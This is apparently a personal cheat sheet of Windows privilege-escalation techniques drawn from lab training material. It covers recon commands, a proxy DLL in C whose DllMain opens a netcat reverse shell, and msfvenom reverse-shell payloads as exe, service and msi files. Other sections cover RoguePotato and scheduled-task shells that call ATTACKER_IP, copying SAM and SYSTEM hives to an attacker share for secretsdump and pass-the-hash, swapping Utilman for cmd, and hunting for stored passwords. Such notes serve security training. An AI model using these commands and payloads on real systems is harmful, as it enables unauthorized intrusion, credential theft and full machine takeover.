Skip to main content

Windows

These are notes that I have compiled from various sources to be a cheat sheet for privilege escalation on Windows machines. Some of these notes are from THM's Windows Privilege Escalation module. Others are from sources I find online.

Recon

CommandDescription
whoami /privcurrent user privileges
net userslist of users
net user <username>details of one user
qwinsta | query sessionsee other users logged in currently
net localgroupuser groups on the system
net localgroup <groupname>list members of group
systeminfooverview of system
systeminfo \| findstr /B /C:"OS Name" /C:"OS Version""grep-ing" for the OS name and version
hostnamehostname of system
findstr /si <string> *.txtsearch for patterns (grep alternative) | s = searches current and sub-directories | i = ignore upper/lower case differences | *.txt = the file extension | others -> (".txt”, “.xml”, “.ini”, “.config”, and “.xls)
where /r c:\windows <name>.exe OR where /r c:\windows <name>.*find file on system recursively
wmic qfe get Caption,Description,HotFixID,InstalledOnlist updates on a system
netstat -anolist all listening ports on system | -a = active connections | -n = name resolution | -o = process ID
schtasks /query /fo LIST /vquery scheduled tasks
driverquerylist drivers on system
sc query windefendreturn Windows Defender's current state
sc queryex type=servicedetect antivirus software without prior knowledge

Enumeration Scripts

  • WinPEAS - script developed to enumerate the target system to uncover privilege escalation paths
  • PowerUp - PowerShell script that searches common privilege escalation on the target system
  • Windows Exploit Suggester - suggests exploit by running from your attacking machine
    • https://github.com/AonCyberLabs/Windows-Exploit-Suggester
    • windows-exploit-suggester.py –update -> to update the db
    • Run systeminfo > filename.txt on Windows system, and move the .txt file to your attacker machine
      • Then windows-exploit-suggester.py --database 2021-09-21-mssb.xls --systeminfo sysinfo_output.txt
  • PrivescCheck - PrivescCheck is a PowerShell script that searches common privilege escalation on the target system. It provides an alternative to WinPEAS without requiring the execution of a binary file.
  • WES-NG: Windows Exploit Suggester - Next Generation - Some exploit suggesting scripts (e.g. winPEAS) will require you to upload them to the target system and run them there. This may cause antivirus software to detect and delete them. To avoid making unnecessary noise that can attract attention, you may prefer to use WES-NG, which will run on your attacking machine.
    • https://github.com/bitsadmin/wesng
    • wes.py --update -> update the db
    • To use the script, you will need to run the systeminfo command on the target system. Do not forget to direct the output to a .txt file you will need to move to your attacking machine.
    • wes.py systeminfo.txt
  • Metasploit with multi/recon/local_exploit_suggester

Vulnerable Software Detection

CommandDescription
wmic productinformation on installed software
wmic product get name,version,vendorspecific information on installed software
wmic service list briefservices on a system
wmic service list brief \| findstr "Running"services on a system that are running
sc qc <service name>detailed information on a service

Making a Proxy DLL

proxy.c: A standard C implementation of a DLL. The only method implemented will be the DLLMain() function, containing our payload.

#include <windows.h>
BOOL WINAPI DllMain(HMODULE hinstDLL, DWORD fdwReason, LPVOID lpvReserved)
{
if (fdwReason == DLL_PROCESS_ATTACH) {
system("whoami > C:\\output.txt");
system("C:\\tools\\nc64.exe -nv (IP) 4444 -e cmd.exe ");
}
return TRUE;
}

proxy.def: A definition file to pass to the linker, where we will specify all of the export forwards back to the original DLL.

EXPORTS
Method1=C:/Windows/System32/original.dll.Method1 @1
Method2=C:/Windows/System32/original.dll.Method2 @2

We need the list of all exports in the original DLL. For that we have to copy the original DLL to our attacker machine:

/opt/impacket/examples/smbserver.py -smb2support -username thm-unpriv -password Password321 public share

On the Windows machine we copy over the DLL:

copy C:\Windows\System32\adsldpc.dll \ATTACKER_IP\public

We use the following code to get the export list:

import pefile
import argparse

parser = argparse.ArgumentParser(description='Target DLL.')
parser.add_argument('--target', required=True, type=str,help='Target DLL')
parser.add_argument('--originalPath', required=True, type=str,help='Original DLL path')

args = parser.parse_args()

target = args.target
original_path = args.originalPath.replace('\\','/')

dll = pefile.PE(target)

print("EXPORTS", end="\r\n")

for export in dll.DIRECTORY_ENTRY_EXPORT.symbols:
if export.name:
print(f" {export.name.decode()}={original_path}.{export.name.decode()} @{export.ordinal}", end="\r\n")

Syntax for using the python script:

python3 get_exports.py --target adsldpc.dll --originalPath 'C:\Windows\System32\adsldpc.dll' > proxy.def

Making the DLL:

x86_64-w64-mingw32-gcc -m64 -c -Os proxy.c -Wall -shared -masm=intel

x86_64-w64-mingw32-gcc -shared -m64 -def proxy.def proxy.o -o proxy.dll

You can run a local HTTP server using python:

python3 -m http.server

You then curl/wget the file from the Windows machine:

curl (IP):(port)/<filename> --output <filename>

You then repair the program and get the reverse shell.

DLL Hijacking

A DLL Hijacking scenario consists of replacing a legitimate DLL file with a malicious DLL file that will be called by the executable and run. By this point, you may have an idea about the specific conditions required for a successful DLL hijacking attack. These can be summarized as:

  1. An application that uses one or more DLL files.
  2. A way to manipulate these DLL files.

If SafeDllSearchMode is enabled, the search order is as follows:

  1. The directory from which the application loaded.
  2. The system directory. Use the GetSystemDirectory function to get the path of this directory.
  3. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched.
  4. The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
  5. The current directory.
  6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the App Paths registry key. The App Paths key is not used when computing the DLL search path.

If SafeDllSearchMode is disabled, the search order is as follows:

  1. The directory from which the application loaded.
  2. The current directory.
  3. The system directory. Use the GetSystemDirectory function to get the path of this directory.
  4. The 16-bit system directory. There is no function that obtains the path of this directory, but it is searched.
  5. The Windows directory. Use the GetWindowsDirectory function to get the path of this directory.
  6. The directories that are listed in the PATH environment variable. Note that this does not include the per-application path specified by the App Paths registry key. The App Paths key is not used when computing the DLL search path.

The tool you can use to find potential DLL hijacking vulnerabilities is Process Monitor (ProcMon).

Skeleton Code for the Malicious DLL:

#include <windows.h>

BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved) {
if (dwReason == DLL_PROCESS_ATTACH) {
system("cmd.exe /k whoami > C:\\Temp\\dll.txt");
ExitProcess(0);
}
return TRUE;
}

Use the mingw compiler (apt install gcc-mingw-w64-x86-64) to generate the DLL file:

x86_64-w64-mingw32-gcc windows_dll.c -shared -o output.dll

To restart the dllsvc service:

sc stop dllsvc & sc start dllsvc

Unquoted Service Path

Finding Unquoted Service Path Vulnerabilities

Tools like winPEAS and PowerUp.ps1 will usually detect unquoted service paths. But we will need to make sure other requirements to exploit the vulnerability are filled. These are:

  1. Being able to write to a folder on the path
  2. Being able to restart the service

If either of these conditions is not met, successful exploitation may not be possible.

If the path is written between quotes, Windows will directly go to the correct location and launch service.exe. Windows will append ".exe" and start looking for an executable, starting with the shortest possible path. In our example, this would be C:\Program.exe. If program.exe is not available, the second attempt will be to run topservice.exe under C:\Program Files. If this also fails, another attempt will be made for C:\Program Files\topservice folder\subservice.exe. This process repeats until the executable is found.

For the following example, the vulnerability was for an unquoted path of:

C:\Program Files\Unquoted Path Service\Common Files\unquotedpathservice.exe

The writable folder was:

C:\Program Files\Unquoted Path Service\

CommandDescription

wmic service get name,displayname,pathname,startmode

list services on target system. You do not have "write" privileges on Windows OS folders.
.\accesschk64.exe /accepteula -uwdq "C:\Program Files\Unquoted Path Service\"You can use AccessChk to see who has write/read access to that folder.
msfvenom -p windows/x64/shell_reverse_tcp LHOST=<YOUR IP> LPORT=<PORT> -f exe > <folder_first_word>.exe(Linux) Once you know what folder you have write access to, you can make a msfvenom payload for it.
wget <attacker IP:Port>/common.exe -O common.exeUpload the file to Windows using python3 -m http.server

use exploit/multi/handler

set payload windows/x64/shell_reverse_tcp

set lport <Port from executable>

set lhost <IP from executable>

run

(Linux) Use Metasploit to set up a listener for the call from the executable.
sc start <service name>Start the vulnerable service

Insecure Service Permissions

To check for a service DACL from the command line, you can use Accesschk from the Sysinternals suite. Should the service DACL (not the service's executable DACL) allow you to modify the configuration of a service, you will be able to reconfigure the service. This will allow you to point to any executable you need and run it with any account you prefer, including SYSTEM itself.

accesschk64.exe /accepteula -qlc <service_name>

If you see the following, then you can reconfigure the service as any user.

Msfvenom payload (Linux):

user@attackerpc$ msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe

Netcat listener (Linux):

user@attackerpc$ nc -lvp 4447

Grant users permissions to execute payload:

icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

re-configuring the service (the spaces are intentional):

sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

Reset the service:

C:> sc stop THMService

C:> sc start THMService

Abusing Privileges

Checking current user privileges:

whoami /priv

You can find a comprehensive list of exploitable privileges on the Priv2Admin Github project.

SeBackup / SeRestore

The SeBackup and SeRestore privileges allow users to read and write to any file in the system, ignoring any DACL in place. The idea behind this privilege is to allow certain users to perform backups from a system without requiring full administrative privileges.

We have to start by running CMD as Administrator.

To backup the SAM and SYSTEM hashes, we can use the following commands:

reg save hklm\system C:\Users\<username>\system.hive

reg save hklm\sam C:\Users\<username>\sam.hive

Copy those files to attacker machine:

mkdir share

/opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

info

I had to edit the files in the /opt/impacket/examples/ directory to change the python version to be python3.

Copy the files to our share:

copy C:\Users\<username>\sam.hive \\ATTACKER_IP\public\ copy C:\Users\<username>\system.hive \\ATTACKER_IP\public\

Get the hashes:

/opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL

Use admin hash for a Pass-the-Hash attack:

/opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@(IP)

SeTakeOwnership

We have to start by running CMD as Administrator.

Take ownership of a service:

takeown /f C:\Windows\System32\Utilman.exe

Give yourself full permissions:

icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F

Replace the file with cmd:

copy cmd.exe utilman.exe

You have to trigger the utilman by locking the pc, and then going to the Ease of Access button, which will show the prompt below:

SeImpersonate / SeAssignPrimaryToken

These privileges allow for a process to impersonate other users and act on their behalf. Impersonation usually consists of being able to spawn a process under the security context of another user. This is used by services that need to allow different users to access various resources, allowing the server to provide access restricted to a user's permissions easily.

As attackers, if we take control of a process with SeImpersonate or SeAssignPrimaryToken privileges, we can impersonate any user connecting and authenticating to that process.

In Windows systems, you will find that the LOCAL SERVICE and NETWORK SERVICE ACCOUNTS already have such privileges enabled.

To elevate privileges using such accounts, an attacker needs the following:

  1. To be able to spawn a process so that users can connect and authenticate to it for impersonation to occur
  2. Find a way to force privileged users to connect and authenticate to the spawned malicious process.

Privileges Needed for this to work:

SeImpersonatePrivilege

SeAssignPrimaryToken

To use RoguePotato, we first need to upload the exploit to the target machine.

Setup socat to forward any connection on port 135 to our port 9999:

sudo socat tcp-listen:135,reuseaddr,fork tcp:<Machine_IP>:9999

Netcat listener in another tab for reverse shell:

nc -lvp 4448

Trigger the RoguePotato exploit:

c:\tools\roguepotato\RoguePotato.exe -r ATTACKER_IP -e "C:\tools\nc64 -e cmd.exe ATTACKER_IP 4448" -l 9999

Common Misconfigurations

Scheduled Tasks

You might see a scheduled task that has a binary you can modify. Run schtasks to see what tasks are scheduled. For detailed information about a service:

schtasks /query /tn <taskname> /fo list /v

Look for the "Task To Run:" file and the "Run As User" parameter, which shows the user that will be used to execute the task.

Check file permissions on file:

icacls <Absolute-Path-To-File>

If you can read the file, you can add a reverse shell in there with netcat or other software:

echo <netcat-location.exe> -e cmd.exe ATTACKER_IP 4444 > <Absolute-Path-To-File>

Then you run the file:

schtasks /run /tn vulntask

AlwaysInstallElevated

.msi files are used to install apps on the system. They run with the user's privileges who runs it. We can leverage this to run with admin privs.

This method requires two registry values to be set. You can query these from the command line using the commands below.\ \ reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer\ reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Making a malicious .msi file with msfvenom:

msfvenom -p windows/x64/shell_reverse_tcpLHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi

Handler to connect to the reverse shell:

use exploit/multi/handler

set payload windows/x64/shell_reverse_tcp

set lport <Port from executable>

set lhost <IP from executable>

run

Run the installer to get the connection:

msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

Passwords

Saved credentials: Windows allows us to use other users' credentials. This function also gives the option to save these credentials on the system. The command below will list saved credentials.\ cmdkey /list

If you see any credentials worth trying, you can use them with the runas command and the /savecred option, as seen below.\ runas /savecred /user:admin reverse_shell.exe

OR

runas /savecred /user:admin cmd.exe\ \ Registry keys: Registry keys potentially containing passwords can be queried using the commands below.\ reg query HKLM /f password /t REG_SZ /s\ reg query HKCU /f password /t REG_SZ /s\ \ Unattend files: Unattend.xml files helps system administrators setting up Windows systems. They need to be deleted once the setup is complete but can sometimes be forgotten on the system.

  • C:\Unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml

Powershell History:\ type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

To read the file from Powershell, you'd have to replace %userprofile% with $Env:userprofile

IIS Config files:

Common Locations:

  • C:\inetpub\wwwroot\web.config
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

Find database connection strings on the file:

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

Retrieve Credentials from Software: PuTTY:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

Just as putty stores credentials, any software that stores passwords, including browsers, email clients, FTP clients, SSH clients, VNC software and others, will have methods to recover any passwords the user has saved.